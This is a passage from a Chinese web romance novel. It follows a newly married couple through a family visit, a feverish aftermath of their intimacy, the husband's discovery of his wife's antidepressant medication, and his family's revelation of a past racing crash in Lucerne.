说笑几句,霓映枝亲**拉着容微月进了正厅,老爷子傅祥庚和傅父傅司盛都在,容微月恭敬问好,老爷子笑着忙招呼:“月月,快坐下来。
傅蔺征把礼物放到桌上,“月月给你们带的,生怕你们不喜欢,紧张了一路。
霓映枝笑:“下次别这么客气。
容微月腼腆说是自己做的手工艺品,给傅老爷子的是个祝贺松鹤延年的珐琅云纹摆件,给傅司盛的是个代表基业长青的花丝镶嵌山水屏,给霓映枝的则是一个花丝镶嵌凤钗。
这些市价都不菲,是结婚后她默默准备的,三个长辈都很喜欢,都夸她用心了。
今天是第一次见,傅家亦早备下了见面礼,老爷子取出一只和田羊脂白手镯,早二十年拍了近千万,如今也价值过亿,是傅奶奶的遗爱,傅司盛则赠她一柄青白玉如意,同样价值连城。
除此之外,霓音也知道了此事,她工作忙不能回来,只能托母亲送来一个珍藏的玫瑰宝石手镯,表达对嫂嫂的喜欢。
最后霓映枝拿出一个首饰盒,里头是傅家的传家宝之一,一顶明代宫廷金皇冠,足金百克,镶嵌着红宝石和南红玛瑙,曾经从宫廷流于民间,辗转到欧洲收藏家手中,拍场竞逐无数,早些年被傅家拿下,外界求之不得,市值估摸着要到两亿。
霓映枝温柔笑:“这是之前就定好给我儿媳妇的,我还怕送不出去呢,今天终于等到了,这名字叫‘霁月’,刚好和月月很配。
这三个物品平时从不示人,如今悉数相赠,足见傅家对她的认可。
除此之外,他们还给一个傅家老宅的钥匙,和一个鼓鼓的改口红包,容微月都懵了,傅蔺征让她都收着,她接过羞赧莞尔道:
“谢谢爷爷,谢谢爸爸,谢谢妈妈。
长辈们笑应,傅司盛温声道:“月月,你们结婚比较匆忙,本来这些为表重视早就该给你的,怪这
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臭小子着急忙慌把你拐走,以后阿征欺负你,你就和我们说,爸妈给你做主。”
容微月眼眶泛酸,温暖点头。
霓映枝笑着接过话:“月月,婚礼的事阿征说了慢慢商量,一定要办得体体面面,一切全凭你喜欢。”
容微月对上傅蔺征的目光,他勾唇牵住她的手,她回握住他的手,心口软成一片。
晚上傅家设摆丰盛家宴,傅蔺征已经和家中说过容微月喜欢的菜和忌口,傅家格外重视,桌面上海鲜偏少,都是她爱吃的,长辈们还心疼她太瘦了,让她多吃点,平时可以经常回来吃饭。
在聊天中,长辈们对容微月有了更多了解,发现小姑娘聪慧温婉,举止得体,各方面都没得挑,又能和傅蔺征张扬的性格互补,怎么看都满意。
饭桌上,傅蔺征对容微月照顾得细致入微,父母能看出他们感情很好,而小姑娘眼里也都是他。
席间提到双方父母,容微月怔愣了下,说她父母很快要回国了,傅祥庚也说到时候双方家庭也可以好好吃顿饭,容微月轻声应下。
饭后大家喝了点茶,晚上九点多,霓映枝问:“你们俩今晚就留在老宅住一晚吧?”
容微月微怔看向傅蔺征,男人挠了挠她掌心,慵懒道:“不用,我带月月回去,她还有工作还没处理完。”
“……”
容微月脸热,她哪来的工作啊……
父母看到儿子这样,也知道他是想和小姑娘过二人世界,也笑着没强留。
送到门口时,霓映枝单独和容微月道:“好久都没看到阿征这么开心了,这几年他心里总装着事,事业很风光,其实心里一直空落落的,还好月月你回来了。”
容微月心头冒开苦涩的暖意,霓映枝道:“月月,这么多年阿征对你的心意你也知道,他那脾气认定了事儿就不会再改。”
容微月闻言看向前方风光霁月的男人,眸光泛起波澜:“妈你放心,以后我会对阿征更好的。”
霓映枝莞尔拍拍她手臂:“只要你们好好的,妈就放心了。”
和长辈们道别,傅蔺征带容微月回去。
车上,傅蔺征笑问:“现在见完面不紧张了?”
容微月放松笑笑:“我还怕他们会不喜欢我呢,没想到我不需要刻意表现,他们也挺喜欢我的。”
她道:“傅蔺征,你爸妈都好好,爷爷也特别和蔼,难怪他们能把你的性格培养得这么好,你和音音在这样的家庭长大一定很幸福。”
傅蔺征知道她想到了自己的家,握住她的手,和她十指交扣,语调温柔:“以后这就是你的家,而且以后我们有孩子,他们也会在很幸福的家庭长大,对不对?”
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第 46 章 chapter46……两天十五次...
第46章第四十六章
【chapter46……两天十五次,这什么恐……】
chapter46
……两天十五次,这什么恐怖数字。
付则承身为男人,一瞬间都有点自卑了。
不是,这人到底什么体力?!!
他突然觉得微月能受得了这种程度,还只是简单发个低烧,都算厉害了!!
傅蔺征轻咳,想到一事:“我今天清晨,我开过一会儿卧室的窗户,可能是那时候月月吹了风。”
付则承:“……”
大清晨为什么要开窗,开窗为了什么,咱就是也不敢问。
付则承鄙夷扫了他一眼,也算破案了:“那应该就是这两天劳累过度,又吹风受了凉,加上她抵抗力本来就弱才发烧的,这几天要让她好好静养。”
说罢,他无奈叹气:“有些事……你还是稍微节制点吧,也不是让你当和尚,但你也不能不当人啊,你也不看看微月是什么身体,要是中药白喝了,你心疼不心疼?”
“……”
男人滚了滚喉结,心底漫过愧疚,低低应了声。
付则承开了药,傅蔺征起身去厨房熬粥,过了会儿付则承过来把药给他,说了服用方法,又看向他,戏谑挑眉:
“我看要不也给你开盒汇仁肾宝片吧?你也多补补,估计你也挺虚的。”
傅蔺征轻嗤,“不需要。”
付则承笑:“不药补可以,记得食补。”
他走去酒柜前,毫不客气挑了瓶奔富葛兰许,回来见傅蔺征把小米粥从砂锅里舀出来,还弄了份鸡蛋羹,桌面上洒的洒,溢的溢,乱得不成样子。
付则承看了眼他做的,震惊鼓掌:
“傅大少爷,你这做菜的水平我可太佩服了。”
傅蔺征挑眉,“你也觉得我做菜有水平?”
“有啊,拍地震灾难片的水平。”
“……滚。”
付则承啧啧感慨:“难怪把微月喂得那么瘦呢,还好我没留下来吃饭。”
他低头看向脚边的白绒团子:“呼啊,这么多年可怜你了,跟着你爸受苦了,难怪还这么小只呢。”
傅蔺征:“……赶紧滚。”
他做得有那么差吗?
呼呼认同地用小爪爪拍拍付则承的拖鞋,耷拉下蒲扇耳朵。
付则承笑笑,不再揶揄傅蔺征,发给他几个病人可以吃的清淡菜谱,“照着做点吧,我先走了,酒拿走了。”
门关上,屋子安静下来,傅蔺征看向趴在旁边的呼呼,舔了舔后槽牙,质问:“傅呼呼,你摸着良心说,这么多年我给你做的饭有那么难吃吗?如果有你就说有,没有你就不说话。”
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呼呼:?#¥@&%
傅蔺征睨它:“行,还算你有点良心。”
呼呼:……
傅蔺征端着食物去卧室,坐到床头,摸了摸小姑娘微烫的脸颊,心疼低哄:“宝宝,起来吃点东西再吃药好不好。”
“嗯……”
容微月强撑着疲惫的身子,半坐起身,被他揽进怀中,她仰头看他,水眸还带着困倦:“付则承怎么说的,我为什么会发烧呀?”
傅蔺征轻咳,低声道:“因为这几天我们做太狠了。”
唔……
原来真是因为这个……
她今天就想过有这个可能性了,被朋友知晓,她羞得耳根直发烫,扭过头,小猫似的气鼓鼓在他脖颈咬了口,嗔道:“罪魁祸首,你自己反思一下。”
这话一点杀伤力都没有,声音软得像撒娇,他要被她可爱**,挑唇愧疚认下:“嗯,都怪我。”
他低浑嗓音贴在她耳边,又补充:“但昨晚是谁一直跟我说不够,说好舒服好喜欢,咬得好紧不让我跋出来,说还想要再来一次,老子都被你弄疯了,要不是今早看你要晕过去了,我能放过你?”
唔……
这两天这么疯,也有她纵容的原因。
阔别六年的快乐终于再度体会到,还比六年前更加美妙,而且傅蔺征太会,他们好合拍,从内到外她都想要和他更近。
他的话烧得她耳根发痒,她羞赧反驳:“那是一开始好不好,谁知道你又弄到三点多,我最后都求你了……”
说不过他,索性又咬他一口,下结论:“反正接下来几天我要好好休息,你不许乱来。”
傅蔺征揉揉她头打趣:“就你这体格,老子还敢再折腾?严重点我还得jin欲一个月。”
他算是看明白了,她就是“棉花”体质,稍微折腾点就出问题。
容微月靠在他肩头,咕哝:“那不行,我们要可持续性发展。”
傅蔺征笑笑,摸摸她脑袋:“那先吃点东西,我喂你,嗯?”
“好……”
傅蔺征把餐盘端过来,容微月认真一看,呆住——
上面是一碗如稀汤的小米粥,和表皮皱成八十岁老人脸的鸡蛋羹,还有一碗怪异糊状的山药泥。
她沉默几秒,小心翼翼问:“这个是你刚刚做的吗?”
傅蔺征懒洋洋应了声:“嗯,时间来不及,没什么机会发挥。”
“……”他难道不是发挥过度了吗?
容微月忍下质疑,嘴甜夸他:“没事,看过去就好吃。”
傅蔺征给她慢慢喂着,容微月一口口吃下去,半晌忍不住嗫嚅:“傅蔺征,你能帮我拿包咸菜吗?还有再帮我装碗小米粥,汤少点,米多点。”
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“……”
“怎么,我这鸡蛋羹不如榨菜?”
她淡声咕哝:“味道很好,就是有点没味道。”
“……”
傅蔺征只好去拿了咸菜,又舀了碗稠一点的粥进来,继续喂她喝着,他想到刚刚付则承的冷嘲热讽,故作随意问:“宝贝,你觉得我平时做饭怎么样?”
容微月抬眸看他,眨了眨眼笑:“你说的是哪种做饭?”
傅蔺征失笑捏捏她脸:“容微月,你这脑子里整天都装着什么?我那方面做饭有多厉害,我自己知道,还需要问你?老子说的是你现在吃的饭。”
“现在……”她不想打击大少爷,只能软声哄着,“现在挺好的呀。”
傅蔺征压下唇角,慵懒道:“那行,既然你会说话,那你说说你平时爱吃我做的什么菜?或者我做过什么你觉得很不错的?随便列举一下就好了,不需要列太多。”
“……”
容微月努力在脑中搜寻着,抿唇答道:“意大利面很好吃,比如你之前做的番茄意大利面,黑松露意大利面,还有黑胡椒意大利面。”
傅蔺征冷笑:“那是用调料包。”
“……”
容微月想了想,酒窝弯弯:“还有水果沙拉,水果沙拉很好吃。”
“……”
不就切个水果加个沙拉酱?这有难度?
容微月继续努力想,“之前那次的山药排骨粥也挺好吃的。”
傅蔺征听她这回答,算是发现了但凡他人工干预太多的都不太行,他盯着她:“容微月,你就客观评价一下,我厨艺如何。”
“客观吗?”
“嗯,不用吹捧我。”
“你没有厨艺。”
“……”
傅蔺征脸色当场垮下。
他抬眼看她,有点怀疑人生:“我做那么多,都没有一道能吃的么?”
容微月看着他写满自信心被击垮的脸,忍笑赶忙柔声哄他:
“其实每个人都有薄弱的地方,你其他方面都那么厉害,厨艺再那么好还让不让人活了?从前你都没有什么机会下厨,也是最近才刚刚为我才开始,你已经比很多不做饭的老公要好了呢!”
傅蔺征闻言,舌尖抵腮,唇角弧度再度挑起又压下,容微月笑着用儿童心理学哄他:“而且我昨天称了体重,已经比之前重了两斤了,吃你做的饭好幸福,你的厨艺肯定会越来越好的,阿征这么厉害,做什么都会成功的呢。”
傅蔺征对上她亮晶晶的眸,就知道这才是她内心想法,“怎么嘴巴这么甜啊。”
容微月眼睛弯成月亮,傅蔺征喂她喝粥,道:“两斤才多少,反正我呢学习能力最强了,学做饭肯定也没问题,再给我段时间,以
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
后这些都交给我。”
他舍不得她下厨,不想她累着,好不容易娶到的小姑娘就该宠一辈子,过去那几年她一个人那么难,如今有他在,她就该做十指不沾阳春水的公主。
她含笑应下。
喝完粥吃完药,容微月躺下来休息,傅蔺征给他和呼呼吃了晚饭,饭后小家伙先晃着尾巴哒哒哒走进来,蹭了蹭床沿,见没人赶它,就跳上了上去,滚成一团挨着容微月躺下,软乎乎的给妈妈当暖手宝。
他尾巴慢悠悠甩着,容微月睁眼看到它,想到傅蔺征之前形容的,果然很会提供情绪价值,笑着揉揉它的头,“宝贝最乖了。”
呼呼拱着她的手掌心撒娇,傅蔺征走进来看到这舔狗的一幕,轻嗤:“刚刚嫌我做得饭太慢,凶得朝我一直叫,吃完饭转头就进来讨好你,一身反骨全用老子身上了。”
容微月弯眉,“是它遗传了你,跟你一样都很爱我,不行吗?”
傅蔺征:“……行吧,反驳不了。”
容微月笑着继续睡觉,傅蔺征就坐在床边陪着她,给怀裕发信息:【帮我找个厨师,擅长湘菜川菜,还得会教一些滋补养身的家常菜,我要学。】
怀裕看到信息震惊:【征哥,你最近训练那么多,还要学做菜?忙得过来吗?】
傅蔺征懒懒道:【怎么忙不过来,我老婆第一位。】
怀裕感慨,还得是嫂子啊,征哥在人夫道路上一去不复返了……
一个小时后,容微月发了汗,退烧了,傅蔺征细心给她擦了汗换了睡衣,她难受劲儿也缓过去了,说一整天在房间里闷得慌,想下床溜达溜达。
于是傅蔺征陪她去客厅看了场电影,小姑娘全身还有点酸疼,勒令男人帮忙按摩。
她懒洋洋如鱼趴在沙发上,傅蔺征帮她按摩,看她这样,“这么严重?”
她娇嗔:“还不是怪你……”
昨晚又是跪,又是站,又是夹着他的腰不能掉下去,还被他按成M形、L形,大字型,还侧躺着,一条腿被他抬起厚乳,她就跟个糯米饼一样翻来翻去,要不是她身体柔韧性好,早就散了。
傅蔺征扯唇:“你不是说怕老子不如高中那时候,我不得证明一下?我看是你体力还不如之前。”
“那之前哪有这么多次……”
傅蔺征之前是恐怖版本,现在是恐怖max版本。
半晌按摩完,她重新被他抱起,傅蔺征看着她温软的脸,低头欲吻,容微月手抵着他胸膛:“我还感冒着,等会儿传染给你……”
傅蔺征扣住她后颈,黑眸幽深:“那就传染给我,你早点好,老是生病我都心疼死。”
他薄热的气息覆上来,一点点渡进齿关,辗
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磨红唇,容微月眼睫扑闪,还是忍不住阖上眼眸,主动攀住他的脖子。
窗外寒风卷过,点了艾香的室内却格外温暖,他温柔如水,却要将人心融化。
傅蔺征知道什么都做不了,也只是接吻,最后看完电影,他道:“现在可以回去睡觉了?
“嗯。
傅蔺征抱着她起来,回到房间,容微月道:“对了,你帮我把我房间的平板和抽屉里的牛皮笔记本拿过来,我要回个邮件。
傅蔺征应了声,把她放到床上,走去隔壁卧室找到平板,而后去找笔记本,一边问:“月月,你本子在哪里?
他随手拉开平板下方的床头柜抽屉,却看到里面有几个奇异形状的药瓶。
他视线一顿。
他眉头疑惑微锁,还没细看,就听小姑娘走过来,他关上抽屉,外头甜软声音传进来:“是书桌抽屉啦。
傅蔺征按捺下思绪,去拿出了本子,往外走,容微月笑着接过拉住他,“走吧。
回到房间,她靠着枕头处理邮件,傅蔺征看向她莹润的面容,眉头微锁,心头笼下层阴影,容微月懵然抬头,就看到他深沉的眼:
“怎么啦?你不躺上来吗?
“嗯。
傅蔺征坐上来陪着她,容微月处理完工作,“我弄好了。
傅蔺征把她捞进怀中,看着她,把到嘴边的话压下嘴边,吻了吻她脸颊,柔声道:“赶紧睡觉。
容微月莞尔阖上眼眸,“老公晚安……
傅蔺征摸着她柔顺的长发,心底翻涌。
容微月很快就在他怀中睡着。
夜深人静,傅蔺征轻声下床,走去隔壁卧室,房门被推开,昏黄的廊灯映照进去,他在床边坐下,拉开抽屉,再度看到里面的药瓶。
他拿起其中一只蓝色的药瓶,瓶身磨损透着陈旧,标签边缘也被反复摩挲过,药名赫然写着:
**。
傅蔺征呼吸一滞,眉头拧起。
旁边还有几盒药,有的空了半盒,外表发皱,有的只剩下了一两片,被收纳得很整齐放在最里面,应该是近期没有碰过的了。
傅蔺征心头惴惴全部拿了出来,掏出手机一一搜索,随后查出的资料伴随着屏幕冷光映照在他眼前:【抗抑郁、抗焦虑、治疗严重失眠、延长睡眠时长、降低夜间焦虑……】
一个个字眼在眼前炸开,如刀锋利。
傅蔺征心脏如被人遏住,喉间干涩。
他弓着身低头再度看向这些药,指尖泛白,赤深的黑眸泛红,呼吸绷紧。
她怎么在吃这些药……
为什么,他都不知道……
他反应过来,难怪之前她住进来的时候,特意要告诉他十一点
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后不要喧哗吵闹她被吵醒就很难再入睡。
他从来不知道她有这么严重的失眠需要靠这种药物来缓解。
过去这六年他知道她一个人过得很苦但**她已经严重到了要吃抗抑郁药的程度她到底是怎么撑过来的又到底经历了什么……
他的小姑娘本来就是个很敏感脆弱的小女孩从前他还可以保护她可是后来他也不在她身边了她该有多孤单。
而他们结婚这么久了他竟然到现在才知道……
房间里静悄悄的愧疚像洪水一样冲破傅蔺征的胸腔汹涌得让人几乎窒息。
如果当初他没有那么多的骄傲和自尊再缠着她一点黏着她不放她走会不会她最后就不会选择分手都怪他……
他垂下猩红的眼喉间涌上一股剧烈的苦涩仿佛她曾经吞下的每一颗药丸此刻都化在他的喉间进入血液蔓延全身。
第二天容微月醒来就感觉腰间横亘着一只手臂温热的胸膛贴在她后背把她牢牢包裹住。
她转头对上傅蔺征的目光愣住:“这个点你怎么还在家……”
傅蔺征彻夜失眠看到她醒来抬手把她揽得更紧嗓音低哑:“宝贝。”
她懵然抱住他
他沉默几秒哑声开口:“昨晚我去帮你找笔记本在你的床头柜里看到了那些药。”
容微月呆住。
傅蔺征眸色暗涌心疼看他:“为什么一直不告诉我?”
容微月垂下眼提起红唇:“没事我就是不想让你担心嘛……”
傅蔺征心如刀绞更多地还是责怪自己低喃:“对不起怪我发现得太迟了。”
她鼻尖泛酸摇摇头“不怪你我真没事现在很多药我都不吃了……”
“那些药是什么时候开始吃的?”
她轻声道:“大一下……”
她抿了抿唇喉间发紧:“之前大学我有点抑郁和焦虑人很难受后来我怕自己出事就去看医生了。”
她大一上暴瘦了很多后来吃了抑郁症又胖回来一段时间后来停药她体重又开始不断往下掉身体也一直不太好。
“当时……为什么要吃那些药?”傅蔺征问。
容微月眼眸微颤忽而沉默傅蔺征见此摸摸她的头安抚道:“没事不想提我们就不提了。”
容微月提起唇角柔声言:“我现在已经好多了只是前段时间工作压力大有些失眠还在吃**但最近你在
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我身边我真的都没有失眠了。”
傅蔺征心头刺痛“这个药可以停吗?”
容微月软声道:“这个要医生诊断过才能判断我之
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
前也有点心理依赖总觉得不吃就睡不着……”
傅蔺征抚着她的脸温柔言:“月月相信我以后有我在你不需要再靠这些东西了好么?我陪你慢慢把这个药减量。”
是药三分毒他担心这些会伤害她的身体更不想她一个人把所有心事扛下。
她闻言鼻尖泛酸轻点点头“好。”
有他在她还怕什么呢。
傅蔺征抱她去洗漱今天她身体基本恢复了她陪她去看了心理医生经过检查后医生道:“容小姐的心理状态目前挺好的**可以逐步减少用量以后就可以不用吃了。”
容微月朝傅蔺征浅笑他揽住她心底那块大石头才落下。
而后他送她去了工作室中午傅蔺征派人给她送来午餐还监督她吃了感冒药后去午睡“被子要盖好不要着凉。”
容微月笑容溅到酒窝里:“傅蔺征睡午觉我还不会睡吗把我当小朋友一样。”
“你在我这儿就是小朋友还是小班没毕业的”男人懒声揶揄“小朋友都没你会生病。”
她轻哼一声。
接下来的这几天傅蔺征每天忙完回家都给容微月做饭给她调理着身体她感冒也慢慢好了。
他让怀裕找的厨师也找到了
而与此同时傅蔺征也从家里那边得知了妹妹霓音和宋詹分手的事那天霓音生日举办了很隆重的晚宴容微月在工作室加班没办法抽出身傅蔺征就一个人回家参加。
晚上回到家容微月就看到手机热搜都是关于霓音公开明恒千金身份的事打脸了很多黑子听傅蔺征说那宋詹一家今晚也来了脸色可难看了。
“你揍宋詹了?”容微月给傅蔺征摘掉围巾。
傅蔺征吊眉“昂你怎么知道?”
“就你那火爆脾气音音受了这么大委屈你怎么可能不管?”
“那渣男就该揍老子给他一拳都是轻的。”
容微月笑:“没错我也觉得那个宋詹不怎么好音音以后肯定还会遇到更好的人。”
傅蔺征挑眉感慨:“我倒希望她别那么快嫁人毕竟这世上像我这种优秀到无可挑剔的男人倒也是不多了。”
容微月绷不住笑“自恋。”
傅蔺征掐住她腰霸道索吻“难道不是么?”
她笑着求饶就被他一把扛回了房间。
第二天容微月也和霓音通了电话关心对方霓音笑说挺好的让她不用担心说等这两天忙完就去找她吃饭容微月莞尔应下。
傍晚傅蔺征来工作室接容微月回家说今晚给她煮白鲫鱼汤滋补身体容微月也不
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知道这人又去哪个APP菜谱钻研了“你最近这么喜欢做饭啊?”
他敲着方向盘吊儿郎当道:“当然床上的床下的都喜欢做。”
这人……
谁曾想过了会儿他真拐去了趟超市买了条白鲫鱼回家还做得有模有样。
晚饭时热腾腾的鱼汤上桌傅蔺征给她盛了一碗容微月喝了一口眼睛亮起:
“好好喝啊
傅蔺征当然不会提起下午在厨师指教下连续煮废了五条鱼的事淡定地给她剔着鱼肉薄唇勾起:“没办法智商在这儿做什么都天赋异禀。”
她怎么就没看出来这人有做菜方面的天赋呢……
容微月没多想连连夸赞把鱼汤都消灭了鼓励他以后多煮。
饭后傅蔺征赶她去客厅休息他负责收拾。
忙完他去倒水水吧台上的手机震动进来怀裕的电话:“征哥我刚刚收到了一封来自SEDR安全驾驶研究机构发来的邀请函他们最近在筹办一个项目打算拍一部教育纪录片叫《边缘决策》他们希望想邀请您前去拍摄。”
怀裕语气顿了顿又道:“地点在瑞士的卢塞恩。”
傅蔺征装着水的动作一顿。
怀裕小心试探:“征哥如果您不想去我这边替您婉拒了。”
几秒后温水汨汨溢出杯口沿着指尖淌下傅蔺征回神关掉饮水机嗓音沉哑:
“把邀请邮件给我看看。”
若是从前傅蔺征百分百会拒绝的。
怀裕一怔“好。”
不一会儿邮件截图发来上头的英文他看了一遍提到这个纪录片致力于为更多青年职业车手提供心理支持与风险认知训练是非公开拍摄尊重他的隐私不做强制曝光。
最后的那几行用英文写到:
【尊敬的傅先生我们理解那段过往这对您而言是不愿提及的您完全可以拒绝我们表示尊重但您有权利遗忘更有资格以强者的姿态重新回去再走出来。
您的故事或许将成为他人危急时的帮助。
期待您的回应。
——SEDR欧洲赛车事故研究组织
国际事务部负责人乔纳森】
傅蔺征看着邮件右手隐隐抽动痛感伴随着那场分手时滂沱大雨的冷意蔓延骨髓。
寒意从脚底冒出。
他喉间绷紧。
室内暖气打得很足傅蔺征感觉闷热忍不住推开玻璃门走到阳台外让冷风扑灭心口的窒息感。
他下意识摸口袋想拿打火机可空空如也。
小姑娘不喜欢他抽烟婚后他就开始戒了
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。
右兜里只有一个微硬的纸质小本本傅蔺征靠着栏杆垂眼拿出口袋里的结婚证。
里面那张容微月笑颜清澈站在他身旁的合照慢慢化开他眼底的微红。
室外又飘下点雪寒风萧瑟白絮落在他肩头。
夜幕寂然傅蔺征抬眼看向室内点着暖光的客厅里容微月盘腿坐在地毯上呼呼扑在她怀中惹她眉眼弯弯笑颜莹白温软。
有她有呼呼有欢声笑语。
是他幻想中关于家的最美好的画面。
如今愿望已然成真。
她回来了他又有什么可惧。
良久傅蔺征吐了口气给怀裕发信息:【回复SEDR我会去。】
客厅里容微月正给呼呼擦着泪腺半晌感觉被人从身后抱住傅蔺征宽阔的胸膛带着雪的寒意将她完全圈住却又像是努力从她身上汲取温暖。
“在干什么?”他低哑的嗓音贴在她耳边。
“给呼呼擦泪腺呢。”
容微月靠在他怀中“你不是说去倒杯水吗怎么倒这么久。”
他默了默“刚刚处理了点公事。”
容微月还想说什么傅蔺征抬手扣住她后颈烫热的气息立刻寻了上来唇齿研磨交换气息带着贪恋的占有却又小心翼翼视若珍宝般将她揉进骨血嵌入生命。
“月月……”他吻着哑声唤她的小名。
仿佛在确认她存在的真实性。
容微月心间荡漾抬手环住他腰主动回应。
空气逐渐稀薄一吻结束女人红唇潋滟小口呼吸着对上他微赤的黑眸感觉他有点奇怪:“怎么啦?”
傅蔺征收敛神色吊起唇角:“没事就想亲我老婆不行?”
她面红哦了声他摸摸她的头换了话题:“后天我要去瑞士出差大概要三天才回来。”
“去比赛吗?还是训练?”
“不是
容微月见他不方便说以为涉及商业机密没多追问点头应下“那你好好工作不用担心我我肯定好好养身体。”
他嗓音低撩:“行啊等我回来检查。”
她脸红“等你检查完估计又不好了……”
晚上傅蔺征搂着容微月渐渐入睡。
再度睁开眼时。
他又来到那个燥热的午后。
骄阳日光在眼前闪烁空气中泛着热浪火光和夏风共舞耳边引擎声呼啸他眼前模糊再度坠入深渊。
黑暗中一个少女出现在前方。
是穿着白衬衫校服裙的容微月长发被雨水打湿脸庞清冷。
大雨从天际倾泻而下她冷眼看向他
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第 47 章 “傅蔺征,从始至终我也只有你。”...
第47章第四十七章
【“傅蔺征,从始至终我也只有你。】
chapter47
霓映枝的声音在厨房里回荡,一字一句像钉子狠狠扎进容微月的耳膜。
车祸……
昏迷两周……
差点死在国外……
料理台上的茶杯倾倒溢出,滚烫的液体打湿了容微月的指尖,可她却毫无感觉,胸口像被拍来一道巨浪,猛烈震动,压得人快要窒息。
她完全没有听过这个事情,惊愕地看向霓映枝和霓音:“什么车祸……
母女俩看着她的表情,知道是傅蔺征故意隐瞒了,霓音自知藏不住,缓声道出实情:
“当年是在卢塞恩的一次封闭试车中,我哥出了车祸。
那是高三毕业那年的六月底,傅蔺征原本在意大利的封闭训练结束后,临时又接到一个赛车科技公司VMD的邀请,以亚洲地区顶尖青年车手代表参与闭门试训和新车研发。
卢塞恩那条山谷赛道,就是最后几天的测试路段。
那天下午,傅蔺征原本并不在上场名单里,是他主动提出了加练,一来想帮更多亚洲车手拥有更多的数据,二来也是想早点完成任务回国,他一直想带着容微月去海边玩一趟,再和她一起回京市开学。
午后烈日炙烤,空气中泛着热浪,崎岖险峻的山谷赛道上,傅蔺征一身黑色的试车赛车服,坐在银白色赛车中,第一个进行极限弯道冲刺练习。
启动车子,引擎咆哮,耳边风燥鼓动,车辆在林间道路疾驰弯过,速度快得仿佛要撕裂空气,傅蔺征稳稳操控着赛车,一次又一次流利过弯。
本来那是再平常不过的一天,却因为VMD的调度系统出现重大失误,傅蔺征的命运也被彻底转折。
一辆辅助测试的工程车在测试开始后,并未接到撤离通知,还停在主弯道边,车内还有一名工程师还未离开。
霓音讲述着,声音微微发颤:“当时我哥车时速有180km/h,他看到那辆工程车,几乎没有时间反应,为了避免正面撞上去,他猛打方向盘,整个车侧翻甩出跑道,滚了几圈,瞬间起火……
当时车里烈焰窜升,扭曲座椅的骨架断裂,直接扎进他肩膀,火从全身烧开,灼烧感刺痛皮肤。
火光被夏风吹得更烈,空气里弥漫着各样刺鼻的味道,他失去意识当场昏迷,这是他长这么大,受过最严重的一次伤。
霓音哽咽:“我哥被送去医院后,昏迷了两周,医生当时给我们下了三次病危通知书,脑震荡脑水肿,左锁骨粉碎性骨折,后腰椎骨裂,全身都是擦伤,我们每天都在重症监护室外
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守着都怕他撑不过来了……”
容微月听着这些恐怖的字眼瞳孔震颤像有千万只蜂耳边在轰鸣思绪全然坍塌。
她不知道傅蔺征出过这么严重的车祸……
此刻她感觉也到了那辆车里全身骨头都仿佛被千万根利针扎透绞碎心口。
她眼眶一热声音发颤:“对不起这件事我当时真的不知道……”
愧疚像潮水席卷而来将她整个人吞没。
霓映枝过来拉住她的手愧疚道:“月月这事不怪你
说来也巧那时明恒集团正遇到一场严重的经济危机内外势力交锋暗潮汹涌傅蔺征身为未来集团继承人一旦性命垂危的事被爆出必然引起强烈动荡所以傅老爷子当机立断下令全面**息。
第一是怕容微月担心第二在他们眼里两个孩子的感情并不稳固他们不知道容微月对于傅蔺征来说那么重要所以霓音就算想要告知也无从开口。
霓映枝叹气:“阿征昏迷了很久醒来的时候有短暂的方向感和记忆错乱情绪也很不稳定可是他醒来说的第一句话是让我们把手机给他。”
当时傅蔺征浑身泛疼连呼吸都在撕扯伤口他喉间干哑艰难道:“我想打电话给月月报个平安她这么久没联系到我……会担心的。”
纵然浑身伤痕累累记忆支离破碎她仍旧是他心底最清晰的存在是比伤势更让他在意的那个人。
容微月闻言眼底涌起热泪。
可她呢?在那个时候她却和他提出了分手……
当时家里人不敢把那条分手信息告诉傅蔺征只说已经给容微月发了信息报平安可后来他从ICU转到普通病房后实在瞒不住傅蔺征还是知道了。
那一瞬间像是雷劈下来傅蔺征几近疯狂拼命给她打电话发信息可是微信被删电话被拉黑他想冲回国去找她可是连下床走路都困难。
那时候他几乎是被人绑在病床上傅司盛更是对所有人下了死命令在养好伤之前他不许离开。
撕裂痛苦挣扎。
他像被抛到了海中连带着那份被她甩掉的遗弃感一点点将他淹没。
傅蔺征以为是他太久没联系她让小姑娘生气了便抓着能把她追回来的微弱希望拼了命复健。
霓映枝叫他不要着急男生垂眼哑声道:“我不想让月月看到我受伤她肯定会心疼的我要赶紧恢复回去陪她读大学。”
可一个多月后他回国就得知了容微月改志愿去中国美院的事。
他追去杭市找她最终
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等来的,却是她冷冷而决绝的回应。
她不要他了。
他好不容易活过来了,她却不要他了……
霓音难受道:“嫂嫂,其实我哥从来没有怪过你,他出车祸的事没几个人知道,当初没告诉你,是因为他不愿意用车祸的事去乞怜挽留你,如今不说,是因为他知道你爱他,不想你再因为过去的事愧疚。
在她回到他身边的那一刻,他就把那场车祸的痛苦连带着一千多个日夜里的孤独和煎熬,全部埋在了心底。
他爱她,从不计较过曾经的付出,只要她愿意,他就会用百分百的炽热和爱意朝她狂奔而来。
容微月听着,心如刀绞,泪珠砸落。
傅蔺征怎么那么笨……
为什么所有的痛苦他都一个人扛下,哪怕在她这儿一次次碰壁,哪怕她先松开了手,在她最需要帮助的时候,他还是义无反顾地挡在她面前,一次次主动朝她伸手……
她说她不想麻烦他,傅蔺征却说“我在,你可以光明正大依赖我;
她说她讨厌他,傅蔺征却说“六年前到现在,我一直都爱你;
她说她对他只是玩玩而已,傅蔺征却说“不管未来发生什么,我会紧紧牵住你的手,爱你到生命结束的那一刻……
他为她倾其所有,远比想象中还要坚定专一。
是她配不上他的喜欢……
容微月愧疚落泪,想到什么,立刻拿出手机,霓音愣住,问她要做什么。
“我要去找他,她声音哽咽却格外坚定,“他一个人在卢塞恩,心里一定很难受。
难怪这几天他情绪反常做噩梦,还一直让她不要离开他,原来是曾经的伤疤被掀开,他再度患得患失。
如今真相浮出水面,她一定要去到他身边,陪他一起去面对那些过往。
容微月订了最近时间的航班,赶去收拾行李,霓音担忧:“嫂嫂,其实我哥不让我和你说的,他肯定要怪我了……
容微月摇摇头,眼眶湿润:“音音,是我要谢谢你和妈妈,不然我一辈子都不知道当初他遇到了那么难的事……
之前,她误以为傅蔺征要离开,于是赶去机场,和他提了结婚。
这次,就让她再勇敢一次,飞奔向他。
飞机在夜空中穿行,舷窗之外云海漆黑,大地被夜色湮没,偶尔有星星点点的光浮动而过,像漂浮在深海中的岛屿,是城市未眠的灯火。
容微月看着窗外,耳边再度浮现霓音的话:
